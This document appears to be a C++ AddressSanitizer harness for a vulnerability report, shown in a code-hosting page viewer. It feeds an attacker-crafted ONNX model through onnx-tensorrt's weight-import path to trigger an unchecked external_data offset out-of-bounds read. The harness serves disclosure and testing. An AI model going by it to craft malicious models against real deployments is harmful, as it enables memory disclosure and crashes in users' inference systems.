File size: 1,767 Bytes
4616d53
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Isolated ASAN harness: loads an attacker-supplied malicious.onnx and runs onnx-tensorrt's real
// weight-import path (WeightsContext::convertOnnxWeights -> convertDouble), triggering the unvalidated
// external_data `offset` OOB read (CWE-125). No GPU, no full TensorRT link.
#include "WeightsContext.hpp"
#include "onnx/onnx-ml.pb.h"
#include <NvInfer.h>
#include <fstream>
#include <iostream>

struct Logger : public nvinfer1::ILogger
{
    void log(Severity s, char const* msg) noexcept override
    {
        if (s <= Severity::kWARNING) std::cerr << "[trt] " << msg << "\n";
    }
};

int main(int argc, char** argv)
{
    GOOGLE_PROTOBUF_VERIFY_VERSION;
    std::string onnxPath = (argc > 1) ? argv[1] : "malicious.onnx";

    // Parse the attacker-supplied ONNX model file (w.bin must sit beside it).
    onnx::ModelProto model;
    {
        std::ifstream in(onnxPath, std::ios::binary);
        if (!in || !model.ParseFromIstream(&in)) { std::cerr << "failed to read " << onnxPath << "\n"; return 1; }
    }
    if (model.graph().initializer_size() == 0) { std::cerr << "no initializer\n"; return 1; }
    onnx::TensorProto const& t = model.graph().initializer(0);

    Logger logger;
    onnx2trt::WeightsContext ctx(&logger);
    ctx.setOnnxFileLocation(onnxPath); // external weights are resolved relative to the model file

    onnx2trt::ShapedWeights w{};
    std::cerr << "[*] loading " << onnxPath << " -> WeightsContext::convertOnnxWeights (real onnx-tensorrt path)\n";
    std::cerr << "[*] initializer '" << t.name() << "' external_data offset is attacker-controlled and unchecked...\n";
    bool ok = ctx.convertOnnxWeights(t, &w);
    std::cerr << "[*] returned " << ok << " WITHOUT crashing -> offset was bounded (no bug)\n";
    return 0;
}